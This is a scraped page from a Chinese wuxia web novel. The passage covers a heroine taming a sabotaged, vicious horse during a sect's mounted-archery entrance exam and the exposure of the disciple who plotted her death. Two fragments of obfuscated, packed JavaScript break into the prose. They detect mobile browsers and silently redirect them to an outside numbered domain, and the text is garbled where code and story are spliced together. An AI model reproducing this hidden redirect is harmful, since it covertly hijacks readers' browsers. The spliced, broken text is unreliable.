l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262799|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声由远及近，一匹青骢马被他拽着，出现在众人视线中。 马儿的左前腿和右后腿之间系着一道绳索，它跑动时两腿彼此牵扯着，姿势颇有些怪异。即便如此，它仍旧极力扭着脖子，和乌向阳的力道对抗。 这马性子极烈，接连伤过六个驯马师。有时候旁人好端端地路过，也会被它踹上一脚，若非宗中都是身怀内力的习武之人，恐怕要闹出人命来。 故而它自己被单独关在一间马厩中，除了喂食很少有人接近它，就连修剪马蹄和清洗，都是到了不得不处理的时候才做。它的鬃毛一绺一绺地打结，翻卷上翘着，愈发显出几分桀骜不驯的气质。 它有多凶悍，在场的人心知肚明，一时间皆面面相觑。像褚笑眉这种一看就娇生惯养的小娘子，遇上它恐怕得当场丧命。 却听郑良朋抚掌笑道：“好、好、好，就换成‘青凛’！既然常长老说这位褚姑娘根骨奇佳，我们总得给她一点特殊优待，以免辜负了她的天资才是。” “那可不！”乌向阳附和道，“青凛可是最能跑的，我们这样‘偏袒’褚姑娘，都怕其他考生心中不服啊。” 青凛是最能跑的不假，那也得能让它听你的才行。它不仅会踹人，即便侥幸骑上去了，它也会发狠狂奔想把人甩下来，根本不受缰绳操控。 他们此举，分明是想置褚笑眉于死地啊！ 众人心中都同情起那位褚姑娘了——仅仅是因为下了郑良朋的面子，他就想害人丢了性命。 郑良朋仍不放心，又叮嘱道：“这马鞍你亲手装上，绑绳可千万得结实，不然……” “明白，明白。”乌向阳应道，“不然要是青凛跑得太猛，马鞍脱落下来，害得褚姑娘也跟着摔下来，再被疾驰的马儿踩上几脚，可怎么办才好？神仙也难救喽！” 二人的计划越来越阴险，其中一个瘦高弟子忍不住开口劝阻：“郑师兄，要是闹出人命，恐怕不好解释吧？” 郑良朋冷哼道：“入门擢选登记时他们就签了生死契，受伤本就在所难免，难不成还能怪到我头上？ “既然敢惹我，那就要让她付出代价——” 60. 第 60 章 校场之上，黄沙被山风卷起，一批考生身着窄袖劲装，呈一字横向排开。逍遥宗弟子牵了马匹过来，按号牌交付到每人手中。 褚笑眉接过青骢马的缰绳，马儿打了个响鼻，像是在不屑地嗤了一声。与其他人身边温顺安静的骏马不同，这匹青骢马躁动不安，总想挣开她的束缚。 “你不想给我骑，我还不乐意骑你呢！”褚笑眉紧紧控住它，“要是我的莹玉在身边，哪还有你什么事？！” 唉，她想念她的照夜玉狮子了。 那是她十岁生辰时，承望哥哥送她的贺礼，是西域名马中产出的最漂亮矫健、最洁白无瑕的一匹。那时莹玉还是匹小马驹，与她的个头正相称。 褚家专门负责饲喂、训练以及照顾莹玉生活起居的下人就有二十人，它与她一同锦衣玉食地长大，一同在马球场上拔得头筹…… 如今她逃离了江府，却没机会将莹玉带走，也不知它现在怎么样了。 鼓声隆隆擂响，马儿在这声响中骤然抬起了前蹄——这是它要狂奔出去的预兆。 电光火石间，褚笑眉脑子还没反应过来，肢体就已经习惯性地翻身上马。 她双脚离地的刹那，青骢马已如离弦之箭般飞驰而出。她的身体被向后甩去，她就势在马鞍上一撑，稳稳落于马背。 但凡她反应慢了一步，只怕就会被马儿拽倒在地，狠狠踩过去。 这个瞬间太过惊险，褚笑眉回过神来，吓出了一身冷汗，心中满是后怕。 选拔已经开始了，其他考生纷纷挽弓搭箭，射向场上的靶子；而她的马儿还在不受控地飞奔。 停下！停下！ 她勒紧缰绳，马儿嘶鸣一声，高高地起扬，几乎要把她甩下去。她牢牢踩在马镫里，稳住身形。 “嘣——” 一声短促而清晰的断裂声，在风啸和马嘶中微不可闻，却如同惊雷般在褚笑眉耳边炸开！ 身下猛地一空，那原本该牢牢固定住的马鞍竟整个松动、脱落。她的身体瞬间失去平衡，被狂暴颠簸的青骢马猛地向一侧甩去。 “啊！”场边传来几声惊呼，显然有人注意到了这惊险的一幕。 郑良朋在远处嘴角勾起一丝阴冷的笑意，等着看她摔个筋断骨折，再被场上飞驰的马匹狠狠踩上几脚，内脏损伤、肝胆破裂，最好能就此殒命。 千钧一发之际，褚笑眉双手死死抓住飞扬的鬃毛，纤长有力的双腿瞬间夹紧了光滑的马身，斜斜挂在马背上。 而后，她腰部猛地发力，身体硬生生一扭，原本即将坠地的态势竟被她强行扭转，重新坐了回去。 “嘶——！”青凛感受到背上的异样，愈发狂躁，四蹄翻飞，时而人立而起，时而尥蹶子猛甩，试图将这个讨厌的家伙彻底甩脱。 黄沙扑面，狂风灌耳。褚笑眉整个人如同波涛中的一叶扁舟，随时可能倾覆，却又异常顽强地紧紧贴着马背。 年幼时目睹靳愿驯马的画面倏忽浮现在眼前。西域多烈马，但无论是多剽悍的马，只要她一句想骑上去试试，承望哥哥总能驯服了给她。 “马通人性，你越强，它越敬你。” 位居公侯的少年将军把缰绳交到她手中，布满茧子的粗粝右手轻轻揉了揉她的头，温声同她这般解释。 “孽畜！还不服输！”她低喝出声，眸中闪过一丝锐芒。 她不再试图强行压制，而是感受着青凛肌肉的每一次颤动，预判它的每一次发力。 当它再次人立而起时，她非但没有退缩，反而借着它的力道向上稍挺，减轻对马背的压力；当它落地猛冲时，她又迅速伏低，稳住身形。 一来二去，青凛的狂暴似乎撞在了一团绵软却坚韧的云絮里，无处着力。它愤怒、挫败，最后归于平静。 此消彼长，它逐渐弱势，主导权微妙地交由了背上那人掌控。 校场边缘，计时的线香已燃了大半，火星明灭，香灰簌簌落下。 其他考生大多已完成射艺，或忐忑或得意地勒马旁观，目光复杂地看着场中那惊心动魄的驯马场面。 “她还没开始射箭！” “香快烧完了！” “这马太烈了，能稳住就不错了……” 随着褚笑眉渐渐占据上风，郑良朋脸上的笑容消失了，取而代之的是一丝惊疑不定。 她好像控住了青凛？！这怎么可能！多少经验老道的驯马师都被这匹烈马甩了下来，她一个初出茅庐的黄毛丫头……怎会有这样大的本事？！ 终于，青凛的嘶鸣不再满是暴戾，速度虽依旧极快，但颠簸狂甩的幅度明显减小。它似乎默认了背上这位骑手的存在，或者说，是屈服于她那强悍的驾驭力。 褚笑眉心中一凛：时间快到了！ 她猛地抬头看向那炷香——只剩短短一小截。这场选拔要考的不是骑术，而是骑射，可她至今还一箭未发。 她双脚紧夹马腹，身体在马背上挺得笔直，竟无需缰绳控马，全凭腰腿力量维持平衡。 而后她摘下斜挂肩头的长弓，从背后箭壶中抽出一支羽箭—— 搭箭，开弓！ 青凛仍在狂奔，颠簸未止。她的目光却锐利如鹰隼，瞬间锁定了一个正在横向移动的靶子。 嗖！ 箭矢破空而去。 正中移动靶红心，十环。 “好！”场边不禁有人喝彩。在如此状态下首发命中移动靶十环，堪称神技！ 褚笑眉毫不停歇，再次抽箭。 嗖！嗖！ 又是两箭连珠射出。 分别命中另外两个移动靶，皆是十环。 香炉里，那线香几乎只剩一点红芒，随时将要熄灭。 来不及了！固定靶还有三个未射！ 褚笑眉眉心紧蹙，电光火石间做出决定。她从箭壶中一次性抽出三支箭，纤指扣住箭尾，将它们同时搭在弓弦上。 “她要做什么？！” “三箭齐发？！这怎么可能！” “胡闹！力道和准头都会大失！” 在一片难以置信的惊呼声中，褚笑眉力贯双臂，那张硬弓被她拉得如同满月。她眼神专注无比，瞬间调整角度，计算着三箭不同的轨迹。 嘣——！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297123|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓弦震响。 三支箭矢呈一个细微的扇形激射而出，带着尖锐的呼啸声，分别奔向三个不同的固定靶。 咄！咄！咄！ 三声闷响几乎同时传来。 一支正中九环，一支略偏中了八环，一支擦着内圈边缘中了七环。 就在最后一支箭命中靶位的刹那，线香上那最后一点红芒彻底熄灭，香灰落下——时间到！ 全场有一瞬间的寂静。 所有人都怔怔地看着场中那个依旧骑在光背烈马上的少女。 她微微喘息，鬓发被汗水沾湿贴在脸颊，劲装之上沾满尘土，显得有些狼狈。但她的背脊却挺得笔直，眼神愈发清亮锐利，像是磨砺后锋芒逼人的利刃。 紧接着，雷鸣般的掌声和喝彩声骤然爆发，席卷了整个校场。 “老天爷！竟真叫她办成了！” “好生厉害！无鞍驯服烈马，连珠箭射中移动靶心，末了竟还能三矢齐发……这、这是何等身手？！” “这姑娘叫什么名字？褚笑眉？了不得！” 负责记录成绩的逍遥宗弟子愣了片刻，才慌忙计算环数，随即高声宣布：“褚笑眉，移动靶三箭三十环，固定靶三箭二十四环……总计通过！” 郑良朋脸色铁青，拳头紧握，指甲几乎掐进肉里。他万万没想到，自己设下的陷阱，非但没让褚笑眉出丑失败，反而成了她惊艳全场的垫脚石。 褚笑眉缓缓吐出一口浊气，这才感觉心跳如鼓，后怕与兴奋交织。她拍了拍身下似乎也安静了不少的青凛的脖颈，轻声道：“你这家伙，脾气虽坏，脚力倒是不错。” 她翻身下马，脚步有些虚浮，却依旧站得稳稳当当。她的目光扫过脸色难看的郑良朋，嘴角勾起一抹不易察觉的弧度。 这一关，终是闯过了。 且是以这般石破天惊之势，教众人再难移目。 逍遥宗的入门擢选，本就卧虎藏龙，天才云集。而她褚笑眉，竟能在此时就崭露头角，难免引人惊叹。 她还没来得及享受通过考核的喜悦，就听校场入口处传来一阵骚动。 众人循声望去，只见一袭青衫的叶渡神色冷冽，缓步而来。 他身姿如松柏挺秀，气度沉凝，即便在逍遥宗的地界，也自带一股不容忽视的凛然锐气。 更引人注目的是，他手中还提着一个面如土色、身形矮胖的逍遥宗弟子。那人被拎住了后领，浑身抖得如同筛糠——正是郑良朋的头号跟班，乌向阳！ “叶少侠？”有认得叶渡的人低声惊呼。 无我门叶渡，年少成名，侠名遍传江湖。他突然现身，顿令满场皆惊。 叶渡径直走到负责监督考核的逍遥宗执事面前，将乌向阳往前一推，声如清玉相击，却带着千钧压力： “执事前辈，晚辈叶渡，本无意插手贵宗内务。只是偶然发现贵宗弟子，在此次骑射考核中滥用职权，行为颇有不端，恐有损逍遥宗清誉，特来提请前辈明察。” 乌向阳扑通一声跪倒在地，吓得话都说不利索：“执、执事饶命！是、是郑师兄！是郑师兄让我做的！”